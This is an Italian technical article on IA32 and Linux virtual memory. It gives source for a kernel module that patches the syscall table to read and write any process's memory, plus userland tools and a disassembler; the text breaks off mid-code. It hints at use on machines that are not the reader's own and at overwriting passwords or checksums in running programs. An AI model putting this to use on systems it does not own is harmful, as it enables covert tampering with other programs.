Linux Virtual Memory tripping -
Pubblicato da twiz, thefly il 30/05/2002
Livello avanzato
Programmi usati
Iniziamo
Scarica i sorgenti.
---] La teoria - L' MMU in IA32
Il presupposto centrale della reimplementazione del tool di vecna [1], si fonda sul fatto che il kernel e' colui che gestisce la memoria e quindi e' colui che
passa all'mmu le informazioni che le permettono di tradurre gli indirizzi da logico a fisici. Una volta che noi abbiamo queste informazioni e sappiamo gestirle possiamo tradurre a mano, facendoci una piccola mmu, gli indirizzi che vogliamo andare a leggere.
In BFi-09-19 c'e' un ottimo articolo di Ritz [2] che spiega appunto come la MMU funzioni nell'ia32. Ora probabilmente non vorrete andare a leggervi quell'articolo abbastanza lungo ma molto approfondito proprio ora, quindi faro' un breve riepilogo delle puntate precedenti, giusto per gettare le basi per andare a spiegare come linux gestisca la memoria all'atto pratico, e quindi le differenze di approccio apportate al modulo di vecna.
Iniziamo col dire che gli indirizzi che un programma utilizza non sono indirizzi fisici. Cosa significa? Significa che se andiamo a printare un indirizzo contenuto in un puntatore, questo indirizzo non sara' una cella della ram, ma un indirizzo logico, una sorta di indirizzo temporaneo.
Questo perche'?
Beh direi che il bisogno di un indirizzo "temporaneo" (d'ora in poi lo chiamero' col suo nome, cioe' indirizzo logico) e' pressoche' ovvio: come tutti sappiamo in ogni momento all'interno della RAM ci sono caricati piu' processi, ed e' ovvio che in fase di compilazione il nostro amato gcc (o il fido programmatore asm) non puo' sapere dove verra' caricato il programma. Inoltre se usassimo indirizzi fisici, non potremmo indirizzare tutto l'address space che i 32 bit ci mettono a disposizione (a meno di essere fortunati possessori di 4 giga di ram), e da qui le altre ovvie conclusioni.
Appurato il perche' i pocessi utilizzino indirizzi logici, andiamo a vedere come nell'ia32 vengano a tutti gli effetti tradotti gli indirizzi.
L'indirizzo logico subisce due processi di traduzione prima di raggiungere lo stato di indirizzo fisico, ovvero la paginazione e la segmentazione.
La *paginazione* e' quell'artificio che divide la memoria in pagine (la maggior parte dei sistemi operativi utilizza di default pagine di dimensione di 4kb, anche se supporta pagine di dimensione maggiore) e le assegna ad ogni processo nel momento in cui questo ha bisogno di scrivere nella memoria.
Le pagine non vengono assegnate in modo contiguo ad un processo, ma secondo vari algoritmi come il best-fit, first-fit etc, tuttavia questa non e' la sede per approfondire oltre.
Ora , visto che a tutti gli effetti quando un dato viene caricato in memoria potrebbe finire in qualunque zona della memoria, le cpu all'interno della Memory Management Unit hanno delle tabelle di traduzione dette page tables, una per ogni pagina (torneremo su questo dopo, parlando della sua implementazione in Linux).
La *segmentazione* invece divide il programma in segmenti: quelli piu' comunemente usati sono il segmento text, che contiene il codice, il segmento dati, che contiene i dati statici e le variabili globali, e il segmento dove viene caricato lo stack.
Questo permette al programmatore di dividere il suo spazio in piu' spazi di indirizzamento e far puntare gli indirizzi all'interno del segmento relativamente a se stesso.
Ogni segmento sara' quindi una partizione del suo address space, indipendente dagli altri. Segmenti diversi possono avere lunghezza diversa che puo' cambiare durante l'esecuzione.
Un esempio calzante per spiegare l'utilizzo della paginazione e segmentazione assieme puo' essere quello di un libro. Il libro viene diviso in capitoli, ognuno con una sua lunghezza, che puo' essere espanso (pensiamo ad un quaderno ad anelli :P ).
Bene il capitolo e' il segmento, ed all'interno del segmento abbiamo le parole, che vengono lette relativamente al capitolo stesso (cosi come diremmo "la 546esima parola del capitolo 3, cosi la CPU interpreta gli indirizzi in 2 parti, il segmento, e l'indirizzo relativo ad esso).
Le pagine comporranno il segmento, e saranno di dimensione fissa. Quando non avremo piu' bisogno di una pagina in un segmento la potremo cancellare e rendere disponibile per chi ne avesse bisogno. Sperando che l'esempio calzi e di non esser preso per blasfemo, il passo successivo e' spiegare come tutto questo venga implementato in Linux, e come questo sia in relazione con la tanto chiaccherata VM (Virtual Memory).
Il rimando va nuovamente alla lettura dell'articolo di Ritz [2] per sapere come siano composti i segment selectors e le flag di ogni pgtable entry.
---] La teoria - L'MMU in Linux
Iniziamo a rompere questo quadretto: la segmentazione e' usata davvero pochissimo in Linux, soprattutto perche' le altre architetture utilizzano pochi segmenti.
La Segmentation Unit, che contiene le tabelle di traduzione dei segmenti, non viene mai toccata in linux e questo significa che viene compilata al boot e rimanesempre la stessa.
In Linux vengono usati questi segment:
include/linux/sched.h :212
struct mm_struct {
struct vm_area_struct * mmap; /* list of VMAs */
rb_root_t mm_rb;
struct vm_area_struct * mmap_cache; /* last find_vma result */
pgd_t * pgd;
atomic_t mm_users; /* How many users with user space? */
atomic_t mm_count; /* How many references to "struct mm_struct"
(users count as 1) */
int map_count; /* number of VMAs */
struct rw_semaphore mmap_sem;
spinlock_t page_table_lock; /* Protects task page tables and mm->rss */
struct list_head mmlist; /* List of all active mm's. These are globally strung
* together off init_mm.mmlist, and are protected
* by mmlist_lock
*/
unsigned long start_code, end_code, start_data, end_data;
unsigned long start_brk, brk, start_stack;
unsigned long arg_start, arg_end, env_start, env_end;
unsigned long rss, total_vm, locked_vm;
unsigned long def_flags;
unsigned long cpu_vm_mask;
unsigned long swap_address;
unsigned dumpable:1;
/* Architecture-specific MM context */
mm_context_t context;
};
allora, questa struttura e' la foto della memoria utilizzata da un processo.
---] L' implementazione pratica - idee alla base
Al momento della stesura del codice gli obiettivi erano formalmente due :
Primo:
Poter leggere da / scrivere su qualunque indirizzo virtuale di un qualsiasi pid in esecuzione e per questo era necessario :
---] L' Implementazione in Kernel Space - dictracy.c
-- taglia qui / dictracy.c--
/*
* Dictracy Loadable Kernel Module
* by - twiz - [email protected]
* thefly - [email protected]
*
* That module let you investigate, read, search, dump and write the virtual
* address space of a process running.
*
* From the idea exposed by vecna in rmfbd :
* http://www.s0ftpj.org/bfi/dev/BFi11-dev-06
*
* Thanks : silvio
*/
#define __KERNEL__
#define MODULE
#define __NR_getvirtaddr 224
#define __NR_rwfromvirt 223
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/uaccess.h>
#include <linux/malloc.h>
#include <linux/sys.h>
#include <linux/smp_lock.h>
#include <linux/unistd.h>
#include <linux/highmem.h>
#include "dictracy.h"
/* You need to retrieve from System.map the correct address to use that two
* functions, if they aren't exported - check from /proc/ksyms
*
* # nm /usr/src/linux/vmlinux | sort | grep handle_mm_fault
* 00000000c011d65c T handle_mm_fault
*/
int (*handle_mm_fault_e) (struct mm_struct *,struct vm_area_struct *, \
unsigned long , int ) = (void *)0xc011d65c;
/* Same there */
struct vm_area_struct *(*find_extend_vma_e) (struct mm_struct *, unsigned long)
= (void *)0xc011e1e4;
extern void* sys_call_table[];
struct page * getpagefromaddr(unsigned long, struct task_struct *);
/*
* get_task() just does the work of find_task_by_pid(), but adds a read_lock
* on the tasklist.
*/
struct task_struct *get_task(pid_t pid)
{
struct task_struct *p, **htable = &pidhash[pid_hashfn(pid)];
read_lock(&tasklist_lock);
for(p = *htable; p && p->pid != pid; p = p->pidhash_next)
;
read_unlock(&tasklist_lock);
return p;
}
int getvirtaddr(struct mem_addr *temmem, int pid)
{
struct task_struct *temp;
if ( (temp = get_task(pid)) == NULL )
return 1;
temmem->startcode = temp->mm->start_code;
temmem->endcode = temp->mm->end_code;
temmem->startdata = temp->mm->start_data;
temmem->enddata = temp->mm->end_data;
temmem->startbrk = temp->mm->start_brk;
temmem->startstack = temp->mm->start_stack;
return 0;
}
/*
* If you're used to ptrace code (kernel/ptrace.c) you should recognize
* something in the following lines :)
*/
struct page * getpagefromaddr(unsigned long addr, struct task_struct *task)
{
pgd_t *pgd;
pmd_t *pmd;
pte_t *pte;
struct vm_area_struct *vma;
struct mm_struct *mm;
startpoint:
task_lock(task);
mm = task->mm;
if (mm)
atomic_inc(&mm->mm_users);
task_unlock(task);
if (!mm)
return NULL;
spin_lock(&task->mm->page_table_lock);
pgd = pgd_offset(mm, addr);
if (pgd_none(*pgd))
goto fault;
if (pgd_bad(*pgd))
{
pgd_ERROR(*pgd);
goto error;
}
pmd = pmd_offset(pgd, addr);
if (pmd_none(*pmd))
goto fault;
if (pmd_bad(*pmd))
{
pmd_ERROR(*pmd);
goto error;
}
pte = pte_offset(pmd, addr);
spin_unlock(&task->mm->page_table_lock);
if (!pte_present(*pte))
goto fault;
return pte_page(*pte);
fault:
spin_unlock(&task->mm->page_table_lock);
vma = find_extend_vma_e(mm, addr);
atomic_dec(&mm->mm_users);
if ( handle_mm_fault_e(mm, vma, addr, 0) > 0)
goto startpoint;
else
return NULL;
error:
spin_unlock(&task->mm->page_table_lock);
atomic_dec(&mm->mm_users);
return NULL;
}
int rwfromvirt(int pid, char *buffer, int len, unsigned long addr, int w)
{
struct task_struct *task;
struct page *page;
char *maddr;
if ( (task = get_task(pid)) == NULL )
return 1;
page = getpagefromaddr(addr, task);
if ( page == NULL )
return -1;
if (w)
{
if ((!VALID_PAGE(page)) || PageReserved(page))
return -2;
maddr = kmap(page);
memcpy(maddr + (addr & ~PAGE_MASK), buffer, len);
flush_page_to_ram(page);
flush_icache_page(find_extend_vma_e(task->mm, addr), page);
kunmap(page);
}
else
{
maddr = kmap(page);
memcpy(buffer, maddr + (addr & ~PAGE_MASK), len);
flush_page_to_ram(page);
kunmap(page);
}
mm = task->mm;
atomic_dec(&mm->mm_users);
return 0;
}
int init_module()
{
sys_call_table[__NR_getvirtaddr] = getvirtaddr;
sys_call_table[__NR_rwfromvirt] = rwfromvirt;
return 0;
}
void cleanup_module ()
{
sys_call_table[__NR_getvirtaddr] = NULL;
sys_call_table[__NR_rwfromvirt] = NULL;
printk("<1>Module Unloadded\n");
}
-- fine / dictracy.c --
-- taglia qui / dictracy.h --
struct mem_addr {
unsigned long startcode;
unsigned long endcode;
unsigned long startdata;
unsigned long enddata;
unsigned long startbrk;
unsigned long startstack;
};
-- fine / dictracy.h --
All' interno del modulo vengono usate due funzioni (find_extend_vma() e handle_mm_fault()), le quali, sebbene prototipate entrambe in include/linux/mm.h, non vengono esportate dal kernel (cat /proc/ksyms | grep funzione per controllare).
int (*handle_mm_fault_e) (struct mm_struct *,struct vm_area_struct *, unsigned long , int ) \
= (void *)0xc011d65c;
struct vm_area_struct *(*find_extend_vma_e) (struct mm_struct *, unsigned long) \
= (void *)0xc011e1e4;
Qualora non foste sicuri che la System.map che avete a disposizione si riferisca al kernel effettivamente in uso (ad esempio se la macchina non e' la vostra :)) usate nm ( man nm ) su /usr/src/linux/vmlinux (o comunque su quello corretto... ad esempio controllando con un uname -r quale versione sia in uso e se esista anche una directory linux-x.y.z/ oltre a linux/, aiutatevi anche con lilo.conf... insomma usate la testa :) ).
#define __NR_getvirtaddr 224
#define __NR_rwfromvirt 223
La prima e' :
int getvirtaddr(struct mem_addr *temmem, int pid)
Questa syscall non fa molto (anzi fa pochissimo) e si limita a recuperare una serie di indirizzi virtuali di un processo in esecuzione.
int rwfromvirt(int pid, char *buffer, int len, unsigned long addr, int w)
Questa syscall e' quella che effettivamente raggiunge gli obiettivi :)
Dato un pid, un indirizzo virtuale e una flag (int w - read / write ) si occupa di recuperare/scrivere "len" bytes di memoria, copiandone il contenuto in buffer, in caso di lettura/dump, oppure sovrascrivendo con il contenuto di buffer, nel caso di scrittura (w == 1).
Recuperata la struttura task_struct corretta ( procedimento che e' gia' stato discusso per la precendte syscall ), viene recuperata la struttura page dal virtual address attraverso la funzione :
struct page * getpagefromaddr(unsigned long addr, struct task_struct *task)
La quale tratta l' indirizzo con le varie p*_offset e recupera la struct page con pte_page(), occupandosi di gestire eventuali page fault ( sezione fault: ).
PTRACE_PEEKTEXT, PTRACE_PEEKDATA
Reads a word at the location addr in the child's
memory, returning the word as the result of the
ptrace call. Linux does not have separate text and
data address spaces, so the two requests are cur-
rently equivalent. (data is ignored.)
PTRACE_POKETEXT, PTRACE_POKEDATA
Copies a word from location data in the parent's
memory to location addr in the child's memory. As
above, the two requests are currently equivalent.
E ancora:
On success, PTRACE_PEEK* requests return the requested
data, while other requests return zero.
Quindi perche' non fare tutto con ptrace?
long int ptrace(enum __ptrace_request request, pid_t pid,
void * addr, void * data)
puo' al massimo ritornare in caso di PTRACE_PEEK* long int ( il puntatore void * data, che potrebbe essere utile in questo caso viene ignorato).
---] L' implementazione in User Space - memdig.c
Tra gli obiettivi (ed i "vantaggi") di questa implementazione c'era anche la possibilita' di svolgere una buona parte del lavoro in userland, attraverso una sorta di interfaccia verso il modulo che si occupi di chiamare le syscalls con i parametri di nostro interesse, di ricevere l'eventuale buffer per il dump della memoria, di ricercare una stringa, di passare un buffer per sovrascrivere una data area di memoria.
Il codice che si occupa di tutto cio' e' memdig.c.
-- taglia qui / memdig.c --
/*
* Memdig.c
* by - twiz - [email protected]
* thefly - [email protected]
*
* This is the userspace interface to dictracy module and will let you :
* - get virtual addresses of a process (code start, data start ...)
* - read and dump from a virtual address
* - write to a particular address
* - search for a string in an arbitrary memory area
*
*/
#include <stdio.h>
#include <stdlib.h>
#include "dictracy.h"
/* Number of hex codes printed on a line during a memory dump */
#define CHARINLINE 22
/*
* Two parsing function, just simple asm code to call the syscall exported by
* dictracy
*/
extern int parse_rwvirtaddr(int, char *, int, unsigned long, int);
extern int parse_getvirtaddr(struct mem_addr *, int);
int traversemem(unsigned long, int, char *, int, int);
void usage(char *name);
void mcheck(char *maddr);
main(int argc, char **argv)
{
char *buffer, *temp;
struct mem_addr addresses;
int pid, fd, ret, size, i, line = 0;
unsigned long addr;
if ( argc != 3 )
usage(argv[0]);
/* I'm just too lazy to use getopt :)) */
if ( strcmp(argv[1], "get") == 0)
{
pid = atoi(argv[2]);
printf("PID examined: %d\n", pid);
ret = parse_getvirtaddr(&addresses, pid);
/* Let's check return value of the syscall triggered */
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall : is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
printf("RESULTS: \n");
printf("\tcode_start: \t%p\n", addresses.startcode);
printf("\tcode_end: \t%p\n", addresses.endcode);
printf("\tdata_start: \t%p\n", addresses.startdata);
printf("\tdata_end: \t%p\n", addresses.enddata);
printf("\theap_start: \t%p\n", addresses.startbrk);
printf("\tstack_start: \t%p\n", addresses.startstack);
exit(0);
}
if ( strcmp(argv[1], "read") == 0 )
{
pid = atoi(argv[2]);
printf("Insert virtual address to start reading from : ");
scanf("%x", &addr);
printf("Insert size of memory you want to read : ");
scanf("%d", &size);
buffer = malloc(size);
mcheck(buffer);
printf("PID examined: %d\n", pid);
printf("Reading at virtual address %p %d bytes of memory\n", addr, size);
ret = parse_rwvirtaddr(pid, buffer, size, addr, 0);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
printf("Only valid alphanumeric chars would be printed, where not possible a \". \
\" will be printed\n");
printf("READ : \n");
for ( i = 0; i < size; i++ )
{
if ( i == 0xa )
{
printf("\\n");
continue;
}
if ( i == '\0' )
{
printf("\\0");
continue;
}
if ( buffer[i] < 0x20 || buffer[i] > 0x7e ) /* check valid ascii value */
{
printf(".");
continue;
}
printf("%c", buffer[i]);
}
printf("\n");
exit(0);
}
if ( strcmp(argv[1], "dump") == 0 )
{
pid = atoi(argv[2]);
printf("Insert virtual address to start reading from : ");
scanf("%x", &addr);
printf("Insert size of memory you want to dump : ");
scanf("%d", &size);
buffer = (char *)malloc(size);
mcheck(buffer);
printf("PID examined: %d\n", pid);
printf("Dumping %d bytes of memory starting at virtual address : %p\n", size, addr);
ret = parse_rwvirtaddr(pid, buffer, size, addr, 0);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
/* Same as read, except that we print the memory area with hex values */
for (i = 0; i < size; i++)
{
if ( line == CHARINLINE )
{
printf("%02x\n", (unsigned char)buffer[i]);
line = 0;
continue;
}
printf("%02x ", (unsigned char)buffer[i]);
line++;
}
printf("\nEnd of memory dump\n");
exit(0);
}
if ( strcmp(argv[1], "write") == 0 )
{
pid = atoi(argv[2]);
printf("Insert virtual address to start writing to : ");
scanf("%x", &addr);
printf("Insert size of buffer you want to write : ");
scanf("%d", &size);
temp = (char *)malloc(size+1);
mcheck(temp);
printf("Insert buffer : ");
scanf("%s", temp);
buffer = malloc(size);
mcheck(buffer);
strncpy(buffer, temp, size);
ret = parse_rwvirtaddr(pid, buffer, size, addr, 1);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
printf("Done\n");
exit(0);
}
if ( strcmp(argv[1], "src") == 0)
{
pid = atoi(argv[2]);
printf("Insert virtual address to start searching from : ");
scanf("%x", &addr);
printf("Insert size of memory area you want to scan : ");
scanf("%d", &i);
printf("Insert size of buffer to search : ");
scanf("%d", &size);
temp = (char *)malloc(size+1);
mcheck(temp);
printf("Insert buffer: ");
scanf("%s", temp);
buffer = (char *)malloc(size);
mcheck(buffer);
strncpy(buffer, temp, size);
ret = traversemem(addr, i, buffer, size, pid);
if ( ret == -1 )
{
fprintf(stderr, "Buffer not found in memory area scanned\n");
exit(1);
}
printf("Found buffer at offset : %d - virtual address : %p\n", ret, addr+ret);
exit(0);
}
usage(argv[0]);
}
void usage(char *name)
{
fprintf(stderr, "Usage: \n");
fprintf(stderr, "\t%s get pid -- get virtual addresses from pid\n", name);
fprintf(stderr, "\t%s read pid -- read a part of memory (char)\n", name);
fprintf(stderr, "\t%s dump pid -- dump the hexcode of a part of memory\n", name);
fprintf(stderr, "\t%s write pid - write on a part of memory\n", name);
fprintf(stderr, "\t%s src pid -- search a particolar memory area\n\n", name);
exit(1);
}
/*
* This function will scan a buffer/memory area dumped to search a particular
* substring, and will return the offset from the starting address
*/
int traversemem(unsigned long addr,
int size,
char *buffer,
int bufflen,
int pid)
{
char *base, *found;
int off, ret;
base = (char *)malloc(size);
mcheck(base);
ret = parse_rwvirtaddr(pid, base, size, addr, 0);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
found = (char *)memmem(base, size, buffer, bufflen);
if ( found == NULL )
return -1;
off = (unsigned long)found - (unsigned long)base;
return off;
}
/* Check of an malloc'ed memory chunck */
void mcheck(char *maddr)
{
if (maddr == NULL)
{
fprintf(stderr, "Memory allocation error - malloc()\n");
exit(1);
}
}
-- fine / memdig.c --
-- taglia qui / parse.s --
.globl parse_getvirtaddr
.globl parse_rwvirtaddr
parse_getvirtaddr:
pushl %ebp
movl %esp, %ebp
movl 8(%ebp), %ebx
movl 12(%ebp), %ecx
movl $224, %eax
int $0x80
popl %ebp
ret
parse_rwvirtaddr:
pushl %ebp
movl %esp, %ebp
movl 8(%ebp), %ebx
movl 12(%ebp), %ecx
movl 16(%ebp), %edx
movl 20(%ebp), %esi
movl 24(%ebp), %edi
movl $223, %eax
int $0x80
popl %ebp
ret
-- fine / parse.s --
Il codice, che include anche dictracy.h (gia' presentata in occasione del LKM) non presenta particolari difficolta' e dovrebbe anche essere sufficientemente commentato.
-- taglia qui / test.c --
#include <stdio.h>
char temp[10] = "AAAAAAAAA\0";
char temp2[10] = "BBBBBBBBB\0";
main()
{
char *tem;
tem = (char *)malloc(20);
strcpy(tem, "That's a test\n");
/* Stampiamo l' indirizzo del buffer allocato */
printf("%p\n", tem);
while(1)
{
sleep(10);
printf("%s %s\n", temp, temp2);
}
}
-- fine / test.c --
Avviamo il programma in una tty :
~$ ./test
0x8049708
AAAAAAAAA BBBBBBBBB
AAAAAAAAA BBBBBBBBB
[...]
Carichiamo il modulo e avviamo memdig :
~/lkm/mem# insmod dictracy.o
~/lkm/mem# ./memdig
Usage:
./memdig get pid -- get virtual addresses from pid
./memdig read pid -- read a part of memory (char)
./memdig dump pid -- dump the hexcode of a part of memory
./memdig write pid - write on a part of memory
./memdig src pid -- search a particolar memory area
~/lkm/mem#
Vedremo ora in sequenza l' utilizzo di ognuna delle opzioni.
- get
~/lkm/mem# ./memdig get 541 [- pid di test -]
PID examined: 541
RESULTS:
code_start: 0x8048000
code_end: 0x80485e4
data_start: 0x80495e4
data_end: 0x80496e8
heap_start: 0x8049700
stack_start: 0xbffffb40
~/lkm/mem#
- read
~/lkm/mem# ./memdig read 541
Insert virtual address to start reading from : 0x8049708
Insert size of memory you want to read : 13
PID examined: 541
Reading at virtual address 0x8049708 13 bytes of memory
Only valid alphanumeric chars would be printed, where not possible a "." will be printed
READ:
That's a test
~/lkm/mem#
In questo caso sappiamo da che indirizzo iniziare a leggere (l' abbiamo fatto stampare dal programma a video), il programma ci chiede anche la grandezza dell' area di memoria da leggere e ce la passa a video:
READ: That's a test
It works like a charme :)
Come scritto a video solo i caratteri alfanumerici validi (quelli compresi tra 0x20 - lo spazio e 0x176 - la tilde ) vengono stampati a video, mentre gli altri vengono sostituiti da un puntino.
Inoltre al posto di un null viene stampato "\0" e al posto di un new-line viene stampato "\n".
In questo modo abbiamo una sorta di strings piu' potente, in grado di farci vedere tutti i buffer alfanumerici (char buffer) nel data segment, nel code segment, nello stack o nell' heap e che non viene ingannato, ad esempio, da dichiarazioni come :
char buffer[10];
buffer[0] = 'T';
buffer[1] = 'e';
...
buffer[9] = '\0';
Vediamone un esempio :
~/lkm/mem# ./memdig read 541
Insert virtual address to start reading from : 0x80495e4
Insert size of memory you want to read : 40
PID examined: 541
Reading at virtual address 0x80495e4 40 bytes of memory
Only valid alphanumeric chars would be printed, where not possible a "." will be printed
READ :
\0\0\0\0....\0\0\0\0AAAAAAAAA\0BBBBBBBBB\0\0\0\0\0....
Nel caso voleste solo una ricerca delle varie stringhe e' sufficiente la modifica di una printf, all' altezza del check dell' ascii value... insomma, questo e' solo un esempio, adattatelo alle vostre esigenze :)
- dump
~/lkm/mem# ./memdig dump 541
Insert virtual address to start reading from : 0x8048000
Insert size of memory you want to dump : 100
PID examined: 541
Dumping 100 bytes of memory starting at virtual address : 0x8048000
7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 03 00 01 00 00
00 00 f0 83 04 08 34 00 00 00 a4 29 00 00 00 00 00 00 34 00 20 00 06
06 00 28 00 1e 00 1b 00 06 00 00 00 34 00 00 00 34 80 04 08 34 80 04
04 08 c0 00 00 00 c0 00 00 00 05 00 00 00 04 00 00 00 03 00 00 00 f4
f4 00 00 00 f4 80 04 08 f4 80 04 08
End of memory dump
~/lkm/mem#
In questo caso abbiamo scelto di dumpare i primi 100 bytes del code segment (dall' indirizzo ottenuto dal get sul pid), il funzionamento e' pressoche' lo stesso del read, tranne che l' output e' in esadecimale.
I piu' attenti tra voi avranno sicuramente notato il tipico header di un file ELF, con i magic number all' inizio ( 7f 45 4c 46 / 7f E L F ) e i vari campi settati o meno.
- src
Vediamo ora di trovare dove, nel data segment stia il buffer "AAAAAAAAA\0".
~/lkm/mem# ./memdig src 541
Insert virtual address to start searching from : 0x80495e4
Insert size of memory area you want to scan : 60
Insert size of buffer to search : 9
Insert buffer: AAAAAAAA
Found buffer at offset : 13 - virtual address : 0x80495f0
~/lkm/mem#
Sappiamo da dove iniziare a cercare (data segment da get sul pid), decidiamo di scannare 60 bytes di memoria e di cercare un buffer di 9 caratteri (bytes) - AAAAAAAAA.
Il programma ci restituisce sia l' offset dall' address di partenza sia l' indirizzo virtuale effettivo a cui si trova.
- write
Vediamo di utilizzare l' indirizzo dato per effettivamente modificare il buffer in memoria.
~/lkm/mem# ./memdig write 541
Insert virtual address to start writing to : 0x80495f0
Insert size of buffer you want to write : 9
Insert buffer : CCCCCCCCC
Done
E guardiamo l' output sull' altra tty :
~$ ./test
0x8049708
AAAAAAAAA BBBBBBBBB
[...]
AAAAAAAAA BBBBBBBBB
CCCCCCCCC BBBBBBBBB
CCCCCCCCC BBBBBBBBB
In questo modo possiamo modificare non solo qualunque buffer, ma *ogni singolo byte* del programma in esecuzione. Gli usi possono essere diversi, pensando a un programma che esegua un check periodico su un buffer nel data segment, noi potremmo modificare questo buffer (ad esempio un md5 sum o una password) e variare dunque il comportamento del programma (oltre alla possibilita' ovviamente di inserire una nostra stringa arbitraria e andare a cercarla per sapere *dove* leggere in futuro, come suggeriva vecna), fino ad altre implementazioni pratiche, che discuteremo nella prossima sezione.
---] Altri esempi pratici di utilizzo
--] Saled.c - Disassemblare un programma in esecuzione
Sappiamo dove inizia il codesegment. Sappiamo dove finisca. Sappiamo cosa aspettarci da un header di un file ELF ( per ogni approfondimento sugli ELF leggete la Specification [5]) e quindi sappiamo dove trovare l'effettivo entry point del binario in esecuzione ( il campo e_entry della struct Elf32_Ehdr ).
Da queste tre basi prende origine saled : Simple And Lame Elf Disassembler.
Innanzitutto vediamo il codice :
-- taglia qui / saled.c --
/*
* saled.c - Simple and Lame ELF Disassembler
* by twiz - [email protected]
*
* Questo codice e' parte dell' articolo "Linux Virtual Memory Tripping"
*
* Compile with :
* gcc -o saled -ldisasm -I./ saled.c parse.s
*
* Assuming that you've in libdisasm.so in /usr/lib and libdis.h (and all files
* included in libdis.h) in compiling directory
* If not just use -I gcc tag to point to dir of libdisasm includes or modify
* CPATH variable.
*
* The official site of libdisasm is :
* http://bastard.sourceforge.net
*
* In the dictracy package there's a patched/modified version of libdisasm
* that, at the moment of release, isn't online yet.
* Many thanks to : _mammon
*/
#include <stdio.h>
#include <stdlib.h>
#include <linux/limits.h>
#include <elf.h>
#include <libdis.h>
#include "dictracy.h"
extern int parse_rwvirtaddr(int, char *, int, unsigned long, int);
extern int parse_getvirtaddr(struct mem_addr *, int);
void mcheck(void *maddr);
char *elf_get_type(int type);
char *elf_get_machine(int machine);
main(int argc, char **argv)
{
Elf32_Ehdr * elfhdr;
struct mem_addr *mem;
unsigned char *img;
int pid, ret, distance, n, size, i = 0;
unsigned long codeaddr, startaddr, endaddr;
struct instr curr_inst;
if ( argc != 2 )
{
fprintf(stderr, "Usage : %s pid\n", argv[0]);
exit(1);
}
pid = atoi(argv[1]);
mem = (struct mem_addr *)malloc(sizeof(struct mem_addr));
mcheck(mem);
ret = parse_getvirtaddr(mem, pid);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall : is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
endaddr = mem->endcode;
codeaddr = mem->startcode;
free(mem);
img = (char *)malloc(52);
mcheck(img);
printf("--- PID examined: %d\n", pid);
printf("\nELF Header - dumping at address : %p\n", codeaddr);
ret = parse_rwvirtaddr(pid, img, 52, codeaddr, 0);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
elfhdr = (void *)img;
if ( elfhdr->e_ident[0] != ELFMAG0 ||
elfhdr->e_ident[1] != ELFMAG1 ||
elfhdr->e_ident[2] != ELFMAG2 ||
elfhdr->e_ident[3] != ELFMAG3 )
{
fprintf(stderr, "Error in ELF magic\n");
exit(1);
}
printf("ELF's identification first 4 bytes 0x%2x %c %c %c\n", elfhdr->e_ident[0], \
elfhdr->e_ident[1], elfhdr->e_ident[2], elfhdr->e_ident[3]);
if ( elfhdr->e_ident[EI_CLASS] == 1 )
printf("Class : ELFCLASS32 - 32 bit objects\n");
if ( elfhdr->e_ident[EI_CLASS] == 2 )
printf("Class : ELFCLASS32 - 64 bit objects\n");
if ( elfhdr->e_ident[EI_DATA] == 1 )
printf("Data Encoding : Least Significant Bit\n");
if ( elfhdr->e_ident[EI_DATA] == 2 )
printf("Data Encoding : Most Significant Bit\n");
printf("Type : %d - %s\n", elfhdr->e_type, elf_get_type(elfhdr->e_type));
printf("Machine : %d - %s\n",elfhdr->e_machine,
elf_get_machine(elfhdr->e_machine));
if ( elfhdr->e_version == 1 )
printf("Version : EV_CURRENT\n");
printf("Entry : %p - virtual address to which the system first transfers control\n", \
elfhdr->e_entry);
startaddr = elfhdr->e_entry;
printf("PHT offset : %d\n", elfhdr->e_phoff);
printf("SHT offset : %d\n", elfhdr->e_shoff);
printf("ELF's header size : %d\n", elfhdr->e_ehsize);
printf("Size of one entry in PHT : %d\n", elfhdr->e_phentsize);
printf("Number of PHT's entry : %d\n", elfhdr->e_phnum);
free(img);
printf("\nStarting Debugging\n\n");
distance = endaddr - startaddr;
printf("Starting at address : %p \nEnding at address : %p\nOffset : %d\n\n",
startaddr, endaddr, distance);
img = (char *)malloc(distance);
ret = parse_rwvirtaddr(pid, img, distance, startaddr, 0);
if ( ret == 1 )
{
fprintf(stderr, "Error in triggering syscall: is the pid correct ?\n");
exit(1);
}
if ( ret == -1 )
{
fprintf(stderr, "Error in retrieving page struct : out of memory\n");
exit(1);
}
if ( ret == -2 )
{
fprintf(stderr, "Invalid or Reserved page\n");
exit(1);
}
disassemble_init(IGNORE_NULLS, ATT_SYNTAX);
while (i < distance)
{
memset(&curr_inst, 0, sizeof(struct code));
printf("%p \t", startaddr + i);
size = disassemble_address(img + i, &curr_inst);
if (size)
{
for ( n = 0; n < 12; n++)
{
if ( n < size )
